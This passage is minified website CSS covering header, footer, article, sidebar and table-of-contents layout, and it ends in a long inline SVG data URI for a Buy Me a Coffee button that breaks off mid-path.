slide-in-right{from{transform:translateX(0)}to{transform:translateX(-100%)}}#site-header-brand{display:flex;align-items:center;font-family:var(--font-family-brand);font-size:1.4em;color:var(--color2)}#site-header-brand a{padding:12px}#site-header-menu{padding:0 12px;display:flex;align-items:center;color:var(--color3)}#site-header-menu nav{width:100%;overflow:auto}#site-header-menu ul{display:flex;height:100%;align-items:center;gap:12px}#site-header-menu a{display:flex;padding:12px 6px;gap:3px;white-space:nowrap}#site-header-menu a:focus,#site-header-menu a:hover,#site-header-menu a.active{border-bottom:3px solid}#site-header-controls{display:flex;align-items:center;padding-right:12px;justify-content:flex-end;gap:12px}#site-header-search{display:flex;align-items:flex-end}@media (min-width: 768px){#site-header-search{align-items:center}}#site-footer-social{display:flex;gap:12px;justify-content:flex-start;padding-left:12px;align-items:center}#site-footer-fund{display:flex;gap:12px;overflow:auto;justify-content:flex-end;padding-right:12px;align-items:center}#site-footer-copyright,#site-footer-love{display:flex;align-items:center;justify-content:center;color:var(--color3)}#site-footer-copyright a{display:flex;align-items:center}@media (min-width: 768px){#site-footer-copyright{justify-content:flex-start;padding-left:12px}#site-footer-social{justify-content:flex-end;padding-right:12px}}#article{padding:8px 16px}#article-header{font-size:3em;font-weight:400;margin-bottom:1em;color:var(--color2)}#article-content h1,#article-content h2,#article-content h3,#article-content h4,#article-content h5,#article-content h6{line-height:1em;font-weight:400;margin:2.6em 0 .1em;color:var(--color2)}#article-content h1{font-size:1.8em}#article-content h2{font-size:1.5em}#article-content h3{font-size:1.3em}#article-content h4{font-size:1.1em}#article-content .highlight,#article-content blockquote,#article-content dl,#article-content iframe,#article-content ol,#article-content p,#article-content table,#article-content ul{margin-top:1em;line-height:1.8rem;letter-spacing:-.1px}#article-content blockquote p{margin:1em 0}#article-content blockquote dl,#article-content blockquote ol,#article-content blockquote ul{margin:0 1em 1em 1em}#article-content a{color:var(--color-anchor);text-decoration:none}#article-content a:hover{color:var(--color-hover);text-decoration:underline}@media print{#article-content a{color:#355265;text-decoration:underline}#article-content a:after{content:" (" attr(href) ")";font-size:80%}}#article-content strong,#article-content b,#article-content table th{font-weight:600}#article-content em{font-style:italic}#article-content dl,#article-content ol,#article-content ul{margin-left:20px}#article-content dl dl,#article-content dl ol,#article-content dl ul,#article-content ol dl,#article-content ol ol,#article-content ol ul,#article-content ul dl,#article-content ul ol,#article-content ul ul{margin-top:0;margin-bottom:0}#article-content ul{list-style:disc}#article-content ol{list-style:decimal}#article-content dl{list-style:square}#article-content li>ul{list-style:circle}#article-content li>ol{list-style:lower-alpha}#article-content li p{margin:0}#article-content li .highlight,#article-content li blockquote,#article-content li iframe,#article-content li table{margin:1em 0}#article-content img,#article-content video{max-width:100%;border-radius:4px}#article-content blockquote{padding:8px 12px;position:relative;background:var(--background-fg);border-left:4px solid var(--border-color);border-radius:6px}#article-content blockquote footer{margin:1em 0;font-style:italic}#article-content blockquote footer cite:before{content:"—";padding:0 .3em}#article-content blockquote footer cite a{color:var(--border-color)}#article-content code,#article-content pre{font-family:var(--font-family-code)}#article-content h1 code,#article-content h2 code,#article-content h3 code,#article-content h4 code,#article-content h5 code,#article-content h6 code,#article-content p code,#article-content blockquote code,#article-content ul code,#article-content ol code,#article-content dl code,#article-content table code{background:var(--chroma-base00);padding:4px;border-radius:4px;font-size:.9em}#article-content pre:not(.chroma){color:var(--chroma-base05);font-size:.9em;line-height:1.8;letter-spacing:-.1px;background-color:var(--chroma-base00);border-radius:6px;padding:16px 24px;overflow-x:auto;margin-top:1em}#article-content blockquote code{background:var(--background-fg2);opacity:.8}#article-content blockquote .chroma,#article-content blockquote pre:not(.chroma){background:var(--background-fg2);margin-bottom:1em}#article-content blockquote .chroma code,#article-content blockquote pre:not(.chroma) code{padding:0}#article-content table{max-width:100%;border:1px solid var(--border-color)}#article-content table td,#article-content table th{padding:5px 15px}#article-content table tr:nth-child(2n){background:var(--background-fg)}#article-footer{display:grid;grid-template-columns:1fr 1fr;padding-top:20px}#article-last-updated,#article-prev-link,#article-next-link{display:flex;align-items:center;padding:12px 0}#article-last-updated{grid-column:1 / 3;justify-content:center;color:var(--color3)}#article-prev-link,#article-next-link{color:var(--color-anchor)}#article-prev-link:hover,#article-next-link:hover{color:var(--color-hover);font-weight:600;font-size:98%}#article-next-link{justify-content:flex-end}#article-prev-link .icon{padding-right:6px}#article-next-link .icon{padding-left:6px}@media (max-width: 767px){#article-next-link[data-first-page="true"]{grid-column:2/ 3}}@media (min-width: 768px){#article{padding:16px 24px}#article-footer{display:grid;grid-template-columns:repeat(3, 1fr)}#article-prev-link{grid-column:1/ 2;grid-row:1}#article-last-updated{grid-column:2 / 3}#article-next-link{grid-column:3 / 4}}@media (min-width: 1024px){#article{padding:24px 32px}}@media (min-width: 1281px){#article{padding:32px 40px}}@media (min-width: 1920px){#article{padding:40px 48px}#article-content{width:90%}}@media (min-width: 2560px){#article-content{width:85%}}@media (min-width: 3840px){#article-content{width:80%}}#sidebar{padding:40px 0}#sidebar .sticky{display:flex;flex-direction:column;padding:0 20px;overflow:auto}.sidebar-section,.sidebar-link{padding:7px 0}.sidebar-section{margin-top:40px;font-weight:600;color:var(--color2)}#sidebar .sidebar-section:first-child{margin-top:0}.sidebar-link{padding-left:10px;color:var(--color3);border-left:1px solid var(--border-color);margin-left:4px}.sidebar-link::before{content:'';display:inline-block;width:6px;height:6px;background:var(--background);box-shadow:var(--box-shadow);border-radius:50%;position:relative;left:-13.5px;top:-3px}.sidebar-link:hover{color:var(--color-hover);font-weight:600;font-size:98%}.sidebar-link.current{color:var(--color-anchor);font-weight:600;font-size:98%}.sidebar-link.current::before,.sidebar-link:hover::before{background:var(--color-anchor)}#toc{padding-top:40px;padding-bottom:40px}#toc .sticky{overflow:auto}#toc strong{font-weight:600;padding:7px 10px 7px 0;display:flex;gap:3px;position:relative;left:-3px;color:var(--color2)}#toc ul{margin-left:.3em;border-left:1px solid var(--border-color)}#toc ul ul{margin-left:1em}#toc ul a{display:inline-block;padding:7px;color:var(--color3)}#toc ul a.active,#toc ul a:hover{color:var(--color-hover)}#toc ul a::before{content:'';display:inline-block;width:6px;height:6px;background:var(--background);box-shadow:var(--box-shadow);position:relative;left:-10.5px;top:-3px}#toc ul a.active::before,#toc ul a:hover::before{background:var(--color-hover)}.btn-github{display:flex;flex-direction:row;gap:2px;font-size:.7em;font-weight:700;line-height:1.8em;color:#576060;background:#f6f8fa;border:1px solid #d5d7da;border-radius:6px;padding:2px 4px}:root[data-color="dark"] .btn-github,:root[data-color="night"] .btn-github{color:#c9d1d9;background:#21262d;border:1px solid #576060}.btn-github .icon{transform:scale(0.8)}.btn-buymeacoffee{width:86px;height:24px;background-image:url("data:image/svg+xml,%3Csvg width='85.5' height='24' viewBox='0 0 545 153' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M0 24.48C0 10.9601 10.9601 0 24.48 0H520.2C533.72 0 544.68 10.9601 544.68 24.48V128.52C544.68 142.04 533.72 153 520.2 153H24.48C10.9601 153 0 142.04 0 128.52V24.48Z' fill='%23FFDD00'/%3E%3Cpath d='M109.522 50.3178L109.455 50.2783L109.299 50.2308C109.362 50.2836 109.44 50.3142 109.522 50.3178Z' fill='%230D0C22'/%3E%3Cpath d='M110.507 57.3134L110.432 57.3344L110.507 57.3134Z' fill='%230D0C22'/%3E%3Cpath d='M109.549 50.3062C109.54 50.3051 109.532 50.3031 109.524 50.3003C109.523 50.3058 109.523 50.3113 109.524 50.3168C109.533 50.3156 109.541 50.3119 109.549 50.3062Z' fill='%230D0C22'/%3E%3Cpath d='M109.523 50.3205H109.536V50.3127L109.523 50.3205Z' fill='%230D0C22'/%3E%3Cpath d='M110.447 57.3006L110.56 57.2361L110.602 57.2123L110.64 57.1715C110.569 57.2025 110.503 57.2462 110.447 57.3006Z' fill='%230D0C22'/%3E%3Cpath d='M109.715 50.4713L109.604 50.3659L109.529 50.3251C109.57 50.3963 109.636 50.4488 109.715 50.4713Z' fill='%230D0C22'/%3E%3Cpath d='M81.8801 118.353C81.7916 118.391 81.7142 118.451 81.6548 118.527L81.7246 118.482C81.772 118.439 81.8392 118.387 81.8801 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M98.0456 115.173C98.0456 115.073 97.9968 115.091 98.0087 115.447C98.0087 115.418 98.0206 115.389 98.0258 115.361C98.0324 115.298 98.0377 115.236 98.0456 115.173Z' fill='%230D0C22'/%3E%3Cpath d='M96.3761 118.353C96.2877 118.391 96.2103 118.451 96.1509 118.527L96.2207 118.482C96.2681 118.439 96.3353 118.387 96.3761 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M70.4886 119.11C70.4215 119.052 70.3393 119.013 70.2515 118.999C70.3226 119.034 70.3937 119.068 70.4412 119.094L70.4886 119.11Z' fill='%230D0C22'/%3E%3Cpath d='M67.9304 116.657C67.92 116.553 67.8881 116.453 67.8369 116.362C67.8732 116.456 67.9035 116.553 67.9278 116.652L67.9304 116.657Z' fill='%230D0C22'/%3E%3Cpath d='M85.1368 72.7737C81.6195 74.2794 77.628 75.9866 72.4549 75.9866C70.2908 75.9823 68.1373 75.6854 66.0527 75.104L69.6306 111.838C69.7572 113.373 70.4567 114.805 71.59 115.848C72.7233 116.892 74.2076 117.471 75.7482 117.47C75.7482 117.47 80.8212 117.734 82.514 117.734C84.3358 117.734 89.7988 117.47 89.7988 117.47C91.3391 117.47 92.8231 116.891 93.9562 115.848C95.0892 114.804 95.7885 113.373 95.9151 111.838L99.7472 71.2456C98.0347 70.6607 96.3064 70.2721 94.358 70.2721C90.9883 70.2708 88.2733 71.4313 85.1368 72.7737Z' fill='white'/%3E%3Cpath d='M54.9844 57.1021L55.045 57.1587L55.0845 57.1824C55.0541 57.1522 55.0205 57.1252 54.9844 57.1021Z' fill='%230D0C22'/%3E%3Cpath d='M116.299 53.7119L115.761 50.9943C115.277 48.5559 114.18 46.2519 111.677 45.3706C110.875 45.0887 109.964 44.9675 109.349 44.384C108.734 43.8004 108.552 42.8941 108.41 42.0536C108.147 40.511 107.899 38.9671 107.629 37.4272C107.396 36.1033 107.211 34.616 106.604 33.4015C105.814 31.7706 104.174 30.8169 102.543 30.1859C101.707 29.8739 100.854 29.61 99.9884 29.3955C95.9139 28.3205 91.63 27.9253 87.4382 27.7001C82.407 27.4225 77.3623 27.5061 72.343 27.9504C68.6071 28.2902 64.6723 28.7013 61.1221 29.9935C59.8245 30.4665 58.4875 31.0342 57.5008 32.0367C56.2902 33.2684 55.895 35.1733 56.7789 36.7092C57.4073 37.8 58.4717 38.5706 59.6006 39.0804C61.0711 39.7373 62.6068 40.2371 64.1822 40.5716C68.5689 41.5412 73.1124 41.9219 77.5939 42.0839C82.561 42.2844 87.5362 42.1219 92.4796 41.5978C93.7021 41.4635 94.9224 41.3023 96.1405 41.1144C97.575 40.8944 98.4958 39.0185 98.073 37.7117C97.5671 36.1494 96.2077 35.5434 94.6703 35.7792C94.4438 35.8148 94.2185 35.8477 93.9919 35.8807L93.8286 35.9044C93.3078 35.9702 92.787 36.0317 92.2662 36.0888C91.1904 36.2047 90.112 36.2996 89.0309 36.3733C86.6097 36.5419 84.1818 36.6197 81.7553 36.6236C79.371 36.6236 76.9853 36.5564 74.6062 36.3997C73.5207 36.3285 72.4379 36.2381 71.3577 36.1283C70.8663 36.0769 70.3763 36.0229 69.8862 35.9623L69.4199 35.903L69.3185 35.8886L68.835 35.8187C67.847 35.6699 66.859 35.4986 65.8816 35.2918C65.783 35.2699 65.6947 35.2151 65.6315 35.1363C65.5683 35.0575 65.5338 34.9594 65.5338 34.8584C65.5338 34.7574 65.5683 34.6594 65.6315 34.5806C65.6947 34.5018 65.783 34.4469 65.8816 34.425H65.9C66.7471 34.2445 67.6007 34.0904 68.4569 33.956C68.7424 33.9113 69.0287 33.8673 69.3158 33.8243H69.3237C69.8599 33.7887 70.3987 33.6926 70.9322 33.6293C75.574 33.1465 80.2434 32.9819 84.9077 33.1367C87.1721 33.2025 89.4353 33.3356 91.6892 33.5648C92.174 33.6149 92.6562 33.6676 93.1383 33.7268C93.3227 33.7492 93.5085 33.7756 93.6942 33.798L94.0683 33.852C95.1591 34.0144 96.2441 34.2116 97.3234 34.4435C98.9227 34.7912 100.976 34.9045 101.688 36.6566C101.914 37.2125 102.017 37.8303 102.142 38.4139L102.302 39.1581C102.306 39.1715 102.309 39.1852 102.311 39.199C102.688 40.9554 103.065 42.7118 103.442 44.4683C103.47 44.598 103.471 44.7321 103.444 44.8621C103.418 44.9921 103.365 45.1153 103.289 45.2239C103.213 45.3326 103.115 45.4244 103.002 45.4936C102.889 45.5628 102.762 45.6079 102.631 45.6262H102.62L102.39 45.6578L102.162 45.6881C101.44 45.7821 100.717 45.8699 99.9936 45.9516C98.5683 46.114 97.1408 46.2546 95.711 46.3731C92.87 46.6094 90.0233 46.7644 87.1708 46.8381C85.7174 46.8768 84.2644 46.8948 82.8118 46.8921C77.0301 46.8876 71.2534 46.5516 65.5101 45.8857C64.8883 45.8119 64.2666 45.7329 63.6448 45.6525C64.1269 45.7145 63.2944 45.6051 63.1258 45.5814C62.7306 45.5261 62.3354 45.4686 61.9402 45.4088C60.6136 45.2099 59.295 44.9649 57.9711 44.7502C56.3705 44.4867 54.8398 44.6185 53.3921 45.4088C52.2037 46.0591 51.2419 47.0564 50.6349 48.2674C50.0105 49.5584 49.8248 50.964 49.5455 52.3511C49.2662 53.7383 48.8315 55.2308 48.9962 56.6548C49.3505 59.7281 51.4991 62.2258 54.5895 62.7843C57.4968 63.3112 60.42 63.7381 63.351 64.1016C74.8648 65.5118 86.4968 65.6805 98.0466 64.6049C98.9872 64.517 99.9265 64.4213 100.864 64.3177C101.157 64.2855 101.454 64.3192 101.732 64.4165C102.01 64.5137 102.263 64.6719 102.472 64.8795C102.681 65.0872 102.842 65.339 102.941 65.6165C103.04 65.894 103.076 66.1902 103.046 66.4834L102.753 69.3261C102.164 75.0705 101.575 80.8145 100.986 86.558C100.371 92.5896 99.7521 98.6208 99.1295 104.651C98.9538 106.35 98.7782 108.048 98.6025 109.746C98.4339 111.417 98.4102 113.142 98.0927 114.794C97.5922 117.391 95.8335 118.987 93.2674 119.57C90.9164 120.105 88.5148 120.386 86.1038 120.408C83.431 120.422 80.7594 120.304 78.0866 120.318C75.2333 120.334 71.7384 120.071 69.5358 117.947C67.6007 116.082 67.3333 113.161 67.0698 110.636C66.7185 107.293 66.3703 103.95 66.0252 100.607L64.0887 82.0212L62.8359 69.9953C62.8149 69.7964 62.7938 69.6001 62.774 69.3999C62.6239 67.9654 61.6082 66.5611 60.0077 66.6335C58.6376 66.6941 57.0806 67.8586 57.2413 69.3999L58.17 78.3155L60.0906 96.7581C60.6378 101.997 61.1836 107.236 61.7281 112.476C61.8335 113.48 61.9323 114.487 62.0429 115.49C62.6449 120.976 66.834 123.932 72.0216 124.764C75.0515 125.252 78.1551 125.352 81.2297 125.402C85.1711 125.465 89.1521 125.617 93.029 124.903C98.7738 123.849 103.084 120.013 103.699 114.062C103.875 112.345 104.051 110.626 104.226 108.908C104.81 103.224 105.393 97.5397 105.976 91.855L107.88 73.2807L108.754 64.7682C108.797 64.3461 108.976 63.9492 109.262 63.6363C109.549 63.3234 109.929 63.111 110.345 63.0307C111.988 62.7105 113.558 62.1639 114.727 60.9137C116.587 58.9232 116.957 56.3281 116.299 53.7119ZM54.5052 55.5483C54.5302 55.5364 54.4841 55.7511 54.4644 55.8513C54.4604 55.6998 54.4683 55.5654 54.5052 55.5483ZM54.6646 56.7813C54.6778 56.7721 54.7173 56.8248 54.7581 56.888C54.6962 56.83 54.6567 56.7866 54.6633 56.7813H54.6646ZM54.8214 56.9881C54.878 57.0843 54.9083 57.1449 54.8214 56.9881V56.9881ZM55.1362 57.2437H55.1441C55.1441 57.2529 55.1586 57.2621 55.1639 57.2713C55.1551 57.2612 55.1454 57.2519 55.1349 57.2437H55.1362ZM110.269 56.8616C109.679 57.4228 108.789 57.6837 107.911 57.8141C98.0572 59.2763 88.06 60.0166 78.0984 59.6899C70.9691 59.4462 63.9148 58.6545 56.8566 57.6573C56.165 57.5598 55.4155 57.4334 54.9399 56.9236C54.0441 55.9619 54.4841 54.0254 54.7173 52.8636C54.9307 51.7992 55.3391 50.3804 56.605 50.2289C58.581 49.9971 60.8758 50.8309 62.8307 51.1273C65.1843 51.4865 67.5467 51.7741 69.9179 51.9902C80.0375 52.9123 90.3271 52.7687 100.402 51.4198C102.238 51.173 104.068 50.8863 105.891 50.5596C107.516 50.2684 109.316 49.7218 110.298 51.404C110.971 52.55 111.06 54.0834 110.956 55.3783C110.924 55.9425 110.678 56.4732 110.267 56.8616H110.269Z' fill='%230D0C22'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M170.036 84.2397C169.461 85.3378 168.67 86.2942 167.663 87.1057C166.656 87.9178 165.482 88.579 164.139 89.0881C162.797 89.5984 161.446 89.9408 160.088 90.1153C158.729 90.2905 157.41 90.2753 156.133 90.0674C154.854 89.8608 153.766 89.439 152.872 88.8014L153.88 78.3397C154.806 78.0216 155.972 77.6949 157.379 77.3604C158.785 77.0264 160.231 76.787 161.718 76.644C163.205 76.5004 164.61 76.5173 165.937 76.6919C167.263 76.867 168.31 77.2888 169.077 77.9579C169.493 78.3397 169.845 78.7537 170.132 79.1997C170.42 79.6458 170.595 80.1076 170.66 80.5852C170.819 81.9227 170.612 83.1409 170.036 84.2397ZM155.413 61.9545C156.084 61.5406 156.892 61.1739 157.834 60.8551C158.777 60.5376 159.744 60.3139 160.735 60.1867C161.725 60.06 162.692 60.043 163.636 60.1388C164.578 60.2345 165.41 60.497 166.129 60.9267C166.848 61.357 167.383 61.9782 167.735 62.7897C168.086 63.6024 168.182 64.6296 168.022 65.8714C167.895 66.8587 167.502 67.695 166.848 68.3793C166.193 69.0647 165.393 69.6374 164.451 70.0993C163.508 70.5617 162.509 70.9277 161.455 71.1974C160.399 71.4689 159.384 71.6683 158.41 71.795C157.435 71.9229 156.588 72.0029 155.869 72.0338C155.15 72.0659 154.678 72.0816 154.454 72.0816L155.413 61.9545ZM175.214 77.4798C174.703 76.3658 174.016 75.3864 173.153 74.5416C172.29 73.698 171.266 73.0853 170.084 72.7029C170.595 72.2889 171.099 71.6362 171.595 70.7441C172.09 69.8532 172.513 68.8811 172.865 67.8302C173.216 66.7787 173.457 65.7205 173.584 64.6533C173.711 63.5866 173.663 62.6709 173.441 61.906C172.896 59.9958 172.042 58.4988 170.875 57.4158C169.708 56.3334 168.35 55.5849 166.8 55.1704C165.249 54.7577 163.54 54.6692 161.67 54.908C159.8 55.1467 157.89 55.6164 155.941 56.317C155.941 56.1582 155.957 55.991 155.989 55.8158C156.02 55.6413 156.036 55.4576 156.036 55.2661C156.036 54.7886 155.797 54.3752 155.317 54.0243C154.838 53.674 154.287 53.4674 153.664 53.4031C153.04 53.3401 152.433 53.4746 151.841 53.8092C151.25 54.1437 150.842 54.7577 150.619 55.6479C150.363 58.5146 150.107 61.4927 149.852 64.5812C149.596 67.6708 149.324 70.792 149.037 73.9453C148.749 77.0979 148.461 80.227 148.174 83.3318C147.886 86.4372 147.598 89.4226 147.311 92.2886C147.407 93.1486 147.646 93.8177 148.03 94.2953C148.413 94.7734 148.861 95.0601 149.372 95.1553C149.883 95.251 150.419 95.1625 150.978 94.8922C151.537 94.6225 152.025 94.1516 152.441 93.4832C153.719 94.1838 155.158 94.6377 156.756 94.845C158.354 95.0516 159.975 95.0516 161.623 94.845C163.268 94.6377 164.89 94.248 166.488 93.6741C168.086 93.1013 169.541 92.3844 170.851 91.525C172.162 90.665 173.264 89.685 174.16 88.5869C175.054 87.4875 175.646 86.3014 175.933 85.0281C176.221 83.7221 176.301 82.4167 176.173 81.1106C176.045 79.8052 175.725 78.5955 175.214 77.4798Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M221.989 102.702C221.814 103.753 221.565 104.86 221.246 106.023C220.926 107.184 220.551 108.244 220.12 109.2C219.688 110.155 219.209 110.926 218.682 111.516C218.154 112.105 217.586 112.352 216.979 112.257C216.5 112.192 216.196 111.89 216.069 111.349C215.94 110.807 215.94 110.138 216.069 109.343C216.196 108.546 216.443 107.646 216.811 106.643C217.179 105.64 217.627 104.644 218.154 103.658C218.682 102.67 219.281 101.723 219.952 100.815C220.623 99.9082 221.326 99.1512 222.061 98.5464C222.221 98.7373 222.293 99.2149 222.277 99.9797C222.26 100.744 222.165 101.652 221.989 102.702ZM238.243 81.9697C237.811 81.4921 237.284 81.2218 236.66 81.1576C236.037 81.0939 235.405 81.4442 234.767 82.2085C234.351 82.9727 233.823 83.7054 233.184 84.406C232.545 85.1072 231.882 85.7436 231.195 86.3169C230.507 86.8896 229.852 87.3841 229.229 87.7975C228.606 88.212 228.118 88.5144 227.767 88.7053C227.639 87.6866 227.566 86.5878 227.551 85.409C227.534 84.2308 227.559 83.0369 227.623 81.8266C227.718 80.1067 227.918 78.3715 228.222 76.6194C228.526 74.868 228.965 73.148 229.541 71.4595C229.541 70.5686 229.332 69.8438 228.917 69.2862C228.501 68.7293 227.998 68.3784 227.407 68.2353C226.815 68.0923 226.209 68.1717 225.585 68.4741C224.962 68.7771 224.427 69.3268 223.979 70.122C223.596 71.1735 223.156 72.3516 222.661 73.6571C222.165 74.9631 221.606 76.2928 220.983 77.6461C220.359 79.0006 219.664 80.3139 218.897 81.5873C218.13 82.8618 217.291 83.9927 216.38 84.9793C215.469 85.9666 214.478 86.7393 213.408 87.2963C212.336 87.8538 211.179 88.1005 209.932 88.0369C209.356 87.8775 208.94 87.4478 208.685 86.7466C208.429 86.0466 208.277 85.1702 208.23 84.1193C208.182 83.0684 208.23 81.9139 208.373 80.6557C208.517 79.3982 208.709 78.1479 208.949 76.9061C209.188 75.6637 209.452 74.4855 209.739 73.371C210.027 72.2565 210.298 71.3165 210.554 70.5523C210.938 69.6292 210.938 68.8559 210.554 68.2353C210.171 67.6141 209.644 67.2008 208.973 66.9929C208.302 66.7863 207.598 66.7947 206.863 67.0172C206.128 67.2402 205.6 67.7335 205.281 68.4977C204.737 69.8044 204.241 71.2686 203.794 72.8928C203.347 74.5171 202.987 76.1976 202.716 77.9328C202.444 79.6691 202.291 81.3891 202.26 83.0927C202.258 83.2036 202.263 83.309 202.263 83.4193C201.566 85.2708 200.902 86.6702 200.271 87.6066C199.456 88.8174 198.536 89.3429 197.514 89.1829C197.065 88.992 196.771 88.5465 196.627 87.8453C196.482 87.1453 196.435 86.2854 196.482 85.2654C196.531 84.2472 196.651 83.0927 196.842 81.8024C197.035 80.5127 197.273 79.1752 197.561 77.7897C197.849 76.4037 198.153 75.0116 198.472 73.6098C198.792 72.2086 199.079 70.8868 199.336 69.6444C199.304 68.5299 198.976 67.6784 198.352 67.0887C197.73 66.5002 196.858 66.2693 195.74 66.396C194.973 66.7147 194.405 67.1293 194.038 67.6384C193.67 68.1474 193.374 68.8008 193.151 69.5965C193.022 70.0111 192.831 70.8389 192.575 72.0813C192.319 73.3225 191.992 74.7486 191.592 76.3564C191.193 77.9655 190.721 79.6449 190.178 81.3963C189.635 83.1478 189.027 84.7333 188.357 86.1496C187.685 87.5666 186.95 88.7053 186.151 89.5653C185.352 90.4247 184.489 90.7756 183.562 90.6162C183.05 90.5205 182.723 89.995 182.579 89.0399C182.435 88.0841 182.412 86.9066 182.507 85.5048C182.603 84.1036 182.795 82.5666 183.082 80.8951C183.37 79.223 183.665 77.6388 183.969 76.1413C184.273 74.6449 184.553 73.3225 184.809 72.1765C185.064 71.0298 185.24 70.2656 185.336 69.8838C185.336 68.9602 185.127 68.2202 184.713 67.662C184.297 67.1056 183.794 66.7547 183.202 66.6111C182.61 66.4681 182.003 66.5475 181.381 66.8499C180.757 67.1529 180.222 67.7026 179.774 68.4977C179.614 69.3577 179.406 70.3535 179.151 71.4838C178.895 72.614 178.648 73.7765 178.408 74.971C178.168 76.1655 177.944 77.3358 177.737 78.4824C177.529 79.6291 177.377 80.6321 177.281 81.4921C177.217 82.1606 177.145 82.9812 177.066 83.9521C176.985 84.9242 176.945 85.9508 176.945 87.0332C176.945 88.1169 177.025 89.1914 177.186 90.258C177.345 91.3253 177.633 92.3047 178.048 93.1956C178.463 94.0877 179.047 94.8198 179.799 95.3931C180.549 95.9664 181.5 96.2846 182.651 96.3489C183.833 96.4119 184.864 96.3252 185.744 96.0858C186.622 95.847 187.421 95.4725 188.141 94.9628C188.86 94.4543 189.515 93.8489 190.107 93.1477C190.697 92.4477 191.281 91.6835 191.856 90.855C192.4 92.0659 193.103 93.0047 193.966 93.6737C194.829 94.3422 195.74 94.741 196.699 94.8677C197.657 94.9943 198.633 94.8604 199.624 94.4616C200.614 94.064 201.509 93.3871 202.308 92.4313C202.835 91.8453 203.331 91.1792 203.797 90.4429C203.995 90.7877 204.205 91.1204 204.442 91.4277C205.225 92.4477 206.288 93.1477 207.631 93.5301C209.069 93.9125 210.474 93.9768 211.849 93.7216C213.223 93.4671 214.534 93.0047 215.78 92.3362C217.027 91.6671 218.185 90.8635 219.257 89.9235C220.327 88.9841 221.262 88.0053 222.061 86.9854C222.029 87.7181 222.013 88.4114 222.013 89.0635C222.013 89.7168 221.997 90.4247 221.966 91.1895C220.367 92.3047 218.857 93.6422 217.435 95.2022C216.012 96.7622 214.765 98.4264 213.695 100.194C212.624 101.961 211.785 103.753 211.179 105.568C210.571 107.384 210.275 109.08 210.291 110.657C210.307 112.233 210.682 113.61 211.418 114.788C212.152 115.967 213.351 116.81 215.013 117.32C216.74 117.862 218.257 117.877 219.569 117.368C220.879 116.858 222.021 116.014 222.996 114.836C223.971 113.658 224.77 112.233 225.394 110.561C226.017 108.889 226.512 107.145 226.88 105.33C227.247 103.515 227.479 101.73 227.575 99.9797C227.671 98.2276 227.671 96.6664 227.575 95.2974C230.324 94.1513 232.577 92.7022 234.335 90.9501C236.093 89.1999 237.547 87.352 238.698 85.409C239.049 84.9314 239.169 84.3581 239.058 83.6896C238.945 83.0206 238.674 82.4472 238.243 81.9697Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M298.724 78.9135C298.82 78.1814 298.964 77.4087 299.155 76.5966C299.347 75.7845 299.587 74.996 299.875 74.2318C300.162 73.4676 300.498 72.807 300.882 72.2494C301.265 71.6924 301.673 71.2943 302.104 71.0549C302.536 70.8167 302.974 70.8403 303.423 71.1264C303.902 71.4137 304.197 72.0185 304.31 72.9415C304.421 73.8663 304.31 74.853 303.974 75.9039C303.638 76.9554 303.039 77.942 302.176 78.8657C301.313 79.7899 300.146 80.3941 298.676 80.6808C298.612 80.236 298.628 79.6463 298.724 78.9135ZM315.336 80.8717C314.809 80.7135 314.306 80.6972 313.826 80.8244C313.347 80.9517 313.043 81.2862 312.916 81.8281C312.659 82.8468 312.251 83.8898 311.692 84.9565C311.133 86.0238 310.446 87.0346 309.632 87.9904C308.817 88.9455 307.897 89.7898 306.875 90.5219C305.851 91.2546 304.781 91.78 303.662 92.0982C302.543 92.4491 301.616 92.4885 300.882 92.2176C300.146 91.9479 299.563 91.4855 299.132 90.8328C298.7 90.1801 298.388 89.3916 298.197 88.468C298.005 87.5443 297.893 86.5892 297.861 85.6013C299.683 85.7292 301.305 85.4032 302.728 84.622C304.149 83.8426 305.356 82.8068 306.347 81.5171C307.337 80.2275 308.089 78.7784 308.6 77.1699C309.111 75.5621 309.399 73.9615 309.463 72.3688C309.495 70.8718 309.272 69.6064 308.792 68.5713C308.313 67.5367 307.665 66.7313 306.85 66.1586C306.036 65.5853 305.1 65.2507 304.046 65.1556C302.992 65.0598 301.92 65.2034 300.833 65.5853C299.522 66.0313 298.412 66.7555 297.501 67.7592C296.59 68.7622 295.831 69.9252 295.224 71.2464C294.617 72.5682 294.137 73.993 293.786 75.5215C293.434 77.0505 293.178 78.5554 293.019 80.0366C292.875 81.3656 292.798 82.6365 292.771 83.8632C292.702 84.0189 292.636 84.1686 292.563 84.3353C292.067 85.4668 291.491 86.5734 290.837 87.6558C290.182 88.7389 289.454 89.6467 288.656 90.3788C287.857 91.1116 287.026 91.3661 286.163 91.1431C285.651 91.0164 285.372 90.4261 285.324 89.3758C285.276 88.3243 285.331 87.0189 285.491 85.4583C285.651 83.8983 285.835 82.2093 286.043 80.3941C286.25 78.579 286.354 76.8439 286.354 75.1875C286.354 73.7542 286.082 72.3773 285.539 71.0549C284.995 69.7343 284.252 68.6349 283.31 67.7592C282.367 66.8828 281.272 66.3016 280.026 66.0156C278.779 65.7283 277.437 65.9198 275.999 66.5883C274.56 67.2574 273.417 68.1967 272.571 69.407C271.723 70.6179 270.948 71.8912 270.245 73.2288C269.989 72.2094 269.614 71.2628 269.118 70.3864C268.623 69.5107 268.016 68.7464 267.297 68.0931C266.577 67.441 265.769 66.9313 264.876 66.5646C263.981 66.1992 263.037 66.0156 262.046 66.0156C261.088 66.0156 260.201 66.1992 259.386 66.5646C258.571 66.9313 257.828 67.4004 257.156 67.9737C256.485 68.5476 255.878 69.1919 255.334 69.9088C254.791 70.6252 254.311 71.3343 253.896 72.0343C253.831 71.2064 253.76 70.4822 253.681 69.8603C253.6 69.2398 253.456 68.7143 253.249 68.2846C253.041 67.8543 252.746 67.5283 252.362 67.3052C251.978 67.0828 251.435 66.9707 250.732 66.9707C250.38 66.9707 250.028 67.0422 249.677 67.1852C249.325 67.3289 249.013 67.5283 248.742 67.7828C248.47 68.0386 248.263 68.3482 248.119 68.7143C247.975 69.0804 247.936 69.5028 247.999 69.9803C248.031 70.3312 248.119 70.7525 248.263 71.2464C248.406 71.7403 248.542 72.3858 248.67 73.1809C248.798 73.9773 248.902 74.9409 248.982 76.0712C249.062 77.2021 249.085 78.5875 249.054 80.2275C249.021 81.8681 